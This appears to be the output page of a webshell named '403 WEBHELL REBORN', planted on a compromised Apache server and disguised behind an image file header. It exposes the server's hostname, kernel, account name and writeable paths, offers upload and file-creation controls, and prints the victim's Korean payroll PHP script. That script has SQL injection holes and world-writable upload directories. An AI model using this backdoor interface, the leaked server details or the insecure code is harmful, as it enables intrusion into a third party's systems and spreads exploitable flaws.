ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/toadmin/cal/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/toadmin/cal/month_cal_proc.html
<?
include "../include/top_proc.html";
include "_common.html";

$ins_id = $TO_MB['mb_id'];

// 인건비 저장
for( $i=0 ; $i<count($personnel_seq) ; $i++) {

	$basic_pay = preg_replace("/[^0-9]*/s", "", $cal_basic_pay[$i]); // 기본급
	$km_price = preg_replace("/[^0-9]*/s", "", $cal_km_price[$i]); // 국민연금
	$gg_price = preg_replace("/[^0-9]*/s", "", $cal_gg_price[$i]); // 건강보험
	$gy_price = preg_replace("/[^0-9]*/s", "", $cal_gy_price[$i]); // 고용보험
	$sj_price = preg_replace("/[^0-9]*/s", "", $cal_sj_price[$i]); // 산재보험
	$jg_price = preg_replace("/[^0-9]*/s", "", $cal_jg_price[$i]); // 장기요양보험
	$income_tax = preg_replace("/[^0-9]*/s", "", $cal_income_tax[$i]); // 소득세
	$incentive_price = preg_replace("/[^0-9]*/s", "", $cal_incentive_price[$i]); // 인센티브
	$payable_price = $basic_pay - $km_price - $gg_price - $gy_price - $jg_price- $income_tax - $incentive_price; // 지급액 (산재보험은 회사 100%부담)
	
	if($personnel_seq[$i] != ""){

		// Update
		$sql = "UPDATE `TB_CAL_PERSONNEL` set ";
		$sql .= " cal_staff_nm='{$cal_staff_nm[$i]}', ";
		$sql .= " cal_basic_pay='{$basic_pay}', ";
		$sql .= " cal_km_price='{$km_price}', ";
		$sql .= " cal_gg_price='{$gg_price}', ";
		$sql .= " cal_gy_price='{$gy_price}', ";
		$sql .= " cal_sj_price='{$sj_price}', ";
		$sql .= " cal_jg_price='{$jg_price}', ";
		$sql .= " cal_income_tax='{$income_tax}', ";
		$sql .= " cal_incentive_price='{$incentive_price}', ";
		$sql .= " cal_payable_price='{$payable_price}', ";
		$sql .= " ins_id='{$ins_id}', ";
		$sql .= " ins_dt = now()";
		$sql .= " where cal_pseq='{$personnel_seq[$i]}' and cal_year='{$period_yy}' and cal_month='{$period_mm}'";
		$sql .= " limit 1";

		db_query($sql);

	} else if($cal_staff_nm[$i] != ""){

		// Insert
		$sql = "insert into `TB_CAL_PERSONNEL` set ";
		$sql .= " cal_year='{$period_yy}', ";
		$sql .= " cal_month='{$period_mm}', ";
		$sql .= " cal_staff_nm='{$cal_staff_nm[$i]}', ";
		$sql .= " cal_basic_pay='{$basic_pay}', ";
		$sql .= " cal_km_price='{$km_price}', ";
		$sql .= " cal_gg_price='{$gg_price}', ";
		$sql .= " cal_gy_price='{$gy_price}', ";
		$sql .= " cal_sj_price='{$sj_price}', ";
		$sql .= " cal_jg_price='{$jg_price}', ";
		$sql .= " cal_income_tax='{$income_tax}', ";
		$sql .= " cal_incentive_price='{$incentive_price}', ";
		$sql .= " cal_payable_price='{$payable_price}', ";
		$sql .= " ins_id='{$ins_id}', ";
		$sql .= " ins_dt = now()";

		db_query($sql);

		//echo $sql;
	}
}

// 회사 부가세 / 종합소득세
$cal_item_name[]	= "부가세";
$operate_seq[]		= $operate_surtax_seq;
$cal_item_price[]	= $operate_surtax;
$cal_item_type[]		= "SUR";

$cal_item_name[]	= "종합소득세";
$operate_seq[]		= $operate_income_seq;
$cal_item_price[]	= $operate_income;
$cal_item_type[]		= "GEIN";

$cal_item_name[]	= "지원금및광고수익";
$operate_seq[]		= $operate_support_seq;
$cal_item_price[]	= $operate_support;
$cal_item_type[]		= "SUP";

// 운영비, 퇴직금 저장
for( $i=0 ; $i<count($operate_seq) ; $i++) {

	$item_price = preg_replace("/[^0-9]*/s", "", $cal_item_price[$i]); // 금액

	if($operate_seq[$i] != ""){

		// Update
		$sql = "UPDATE TB_CAL_OPERATE set ";
		$sql .= " cal_item_name='{$cal_item_name[$i]}', ";
		$sql .= " cal_item_price='{$item_price}', ";
		$sql .= " cal_item_type='{$cal_item_type[$i]}', ";
		$sql .= " ins_id='{$ins_id}', ";
		$sql .= " ins_dt = now()";
		$sql .= " where cal_oseq='{$operate_seq[$i]}' and cal_year='{$period_yy}' and cal_month='{$period_mm}'";
		$sql .= " limit 1";

		db_query($sql);
		//echo $sql;

	} else if($cal_item_name[$i] != ""){

		// Insert
		$sql = "insert into TB_CAL_OPERATE set ";
		$sql .= " cal_year='{$period_yy}', ";
		$sql .= " cal_month='{$period_mm}', ";
		$sql .= " cal_item_name='{$cal_item_name[$i]}', ";
		$sql .= " cal_item_price='{$item_price}', ";
		$sql .= " cal_item_type='{$cal_item_type[$i]}', ";
		$sql .= " ins_id='{$ins_id}', ";
		$sql .= " ins_dt = now()";

		db_query($sql);
		//echo $sql;
	}
}

// 첨부 파일 경로 설정
$upload_dir = "../../FileData/cal/";
if (!is_dir($upload_dir)) {
	@mkdir($upload_dir, 0777);
	@chmod($upload_dir, 0777);
}

// 제한 확장자 설정
$only_file = array("jpg", "gif", "png", "doc", "docx", "xls", "xlsx", "ppt", "pptx", "psd", "ai", "hwp", "pdf");

// 첨부파일 업로드 처리
for($f=0; $f<=5; $f++) {
	$cal_file_name = $_FILES["CAL_FILE".$f][name];
	
	if ($cal_file_name) {
		$ext = strtolower(substr(strrchr($cal_file_name, '.'), 1));

		if (in_array($ext, $only_file) == false) {
			error_msg('잘못된 파일입니다');
		}
		
		$file_name = FileUploadName("", $upload_dir, $_FILES{"CAL_FILE".$f}['tmp_name'], $cal_file_name, "", "");

		// Insert
		$sql = "insert into TB_CAL_UPFILE set ";
		$sql .= " cal_year='{$period_yy}', ";
		$sql .= " cal_month='{$period_mm}', ";
		$sql .= " upfile='{$file_name}', ";
		$sql .= " upfile_org='{$cal_file_name}', ";
		$sql .= " memo='{$memo}', ";
		$sql .= " ins_id='{$ins_id}', ";
		$sql .= " ins_dt = now()";

		db_query($sql);

	}
}

?>


<script>location.href='./month_cal.html?period_yy=<?=$period_yy?>&period_mm=<?=$period_mm?>';</script>


Anon7 - 2021